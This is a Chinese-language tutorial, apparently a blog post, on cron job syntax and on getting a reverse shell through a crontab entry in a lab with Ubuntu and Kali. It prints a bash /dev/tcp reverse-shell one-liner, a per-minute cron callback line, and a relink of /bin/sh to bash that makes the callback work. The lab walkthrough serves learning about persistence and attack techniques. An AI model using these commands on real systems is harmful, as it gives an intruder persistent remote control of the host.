實驗環境
ubuntu 14.04 x64位:192.168.1.115
kali/win10:192.168.1.108/107
所用工具:netcat(瑞士軍刀)
計劃任務
至於計劃任務是什麼我覺大不需要太多解釋,就是定時執行任務的意思那麼接下來看看計劃任務的格式,以及書寫
crond 是linux用來定期執行程序的命令,如果未安裝需要先安裝,不在多說
cron服務提供crontab命令來設定cron服務的,以下是這個命令的一些參數與說明:
- crontab -u //設定某個用戶的cron服務,一般root用戶在執行這個命令的時候需要此參數
- crontab -l //列出某個用戶cron服務的詳細內容
- crontab -r //刪除沒個用戶的cron服務
- crontab -e //編輯某個用戶的cron服務
我們使用crontab -e編輯的文件都被保存在 /var/spool/cron目錄中。其文件名與用戶名一致(redis裏面命名的root)
基本語法
分 小時 日 月 星期 命令
0-59 0-23 1-31 1-12 0-6 command (取值範圍,0表示週日一般一行對應一個任務)
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root
HOME=/
# For details see man 4 crontabs
# Example of job definition:
# .---------------- minute (0 - 59)
# | .------------- hour (0 - 23)
# | | .---------- day of month (1 - 31)
# | | | .------- month (1 - 12) OR jan,feb,mar,apr ...
# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * user-name command to be executed
前四行是用來配置crond任務運行的環境變量
- 第一行SHELL變量指定了系統要使用哪個shell,這裏是bash
- 第二行PATH變量指定了系統執行命令的路徑
- 第三行MAILTO變量指定了crond的任務執行信息將通過電子郵件發送給root用戶,如果MAILTO變量的值爲空,則表示不發送任務執行信息給用戶
- 第四行的HOME變量指定了在執行命令或者腳本時使用的主目錄
反彈shell
bash -i >& /dev/tcp/IP/PORT 0>&1
要想了解“>&”和“0>&1”,首先我們要先了解一下Linux文件描述符和重定向。
linux shell下常用的文件描述符是:
- 標準輸入 (stdin) :代碼爲 0 ,使用 < 或 <<
- 標準輸出 (stdout):代碼爲 1 ,使用 > 或 >>
- 標準錯誤輸出(stderr):代碼爲 2 ,使用 2> 或 2>>
命令解釋
- bash -i: -i(interactive)。即產生一個交互式的shell(bash)
- /dev/tcp/IP/POR:接單理解就可以是連接IP上的PORT端口,具體意思-->>/dev/tcp/是Linux中的一個特殊設備,打開這個文件就相當於發出了一個socket調用,建立一個socket連接,讀寫這個文件就相當於在這個socket連接中傳輸數據。同理,Linux中還存在/dev/udp/
- 在這裏&並不是and的意思,在c或者C++中,&是取地址符。>&和&<是一個意思,把...定向到.....;>&和2>&1是一個意思就是把標準錯誤輸出定向到標準輸出中,0>&1就是把標準輸入定向到標準輸出中
參考文章:https://blog.csdn.net/deeplearnings/article/details/77367695
本地測試
通過ssh連接兩臺虛擬機
在kali中開啓監聽,這裏我們隨便選一個端口,大於1000的-->>6666端口
在Ubuntu中寫入計劃任務,使用crontab -e直接編輯
* * * * * bash -i >& /dev/tcp/192.168.1.109/6666 0>&1
切換到root用戶查看,發現crontabs目錄下多了一個qiushui文件,這裏是因爲我剛纔是用qiushui用戶登陸的,如果可以拿到shell,也是此用戶的shell,但是並沒有反彈成功
接下來,查看一下Ubuntu這邊的日誌:tail -f /var/log/syslog
經過查閱資料
Ubuntu系統默認會將計劃任務的錯誤信息以郵件的方式發送給用戶,但是由於Ubuntu系統默認沒有安裝郵件系統,所以真正的報錯信息並不是No MTA installed,discarding output這句話
想看到真正的報錯信息有兩種解決辦法:
- 安裝郵件系統
- 將計劃任務的錯誤信息輸出到一個文件內
我們選擇第二種,接下來修改一下計劃任務,讓他輸出到一個文件內
* * * * * bash -i '>& /dev/tcp/192.168.1.109/6666 0>&1'>/tmp/error.txt 2>&1
大概需要等一分鐘左右,接下來我們去查看error文件
- 第一行:無法設定終端進程組
- 第二行:此shell中無任務控制
- 第三行:沒有這個文件或目錄
這條錯誤的意思說/bin/bash沒有被找到,linux裏面的cron中command執行的shell環境是/bin/sh,接下來我們看看ubuntu的bin/sh文件
ls -l | grep -w 'sh'
可以看到/bin/sh 文件實際上是一個軟鏈接文件,他指向的是dash這個shell
而實際上dash這個shell只有運行腳本的能力,而沒有交互能力。
這裏我們只需要將修改sh的軟鏈接爲bash即可
ln -s -f bash /bin/sh
解決完問題我們把計劃任務修改回來,成功反彈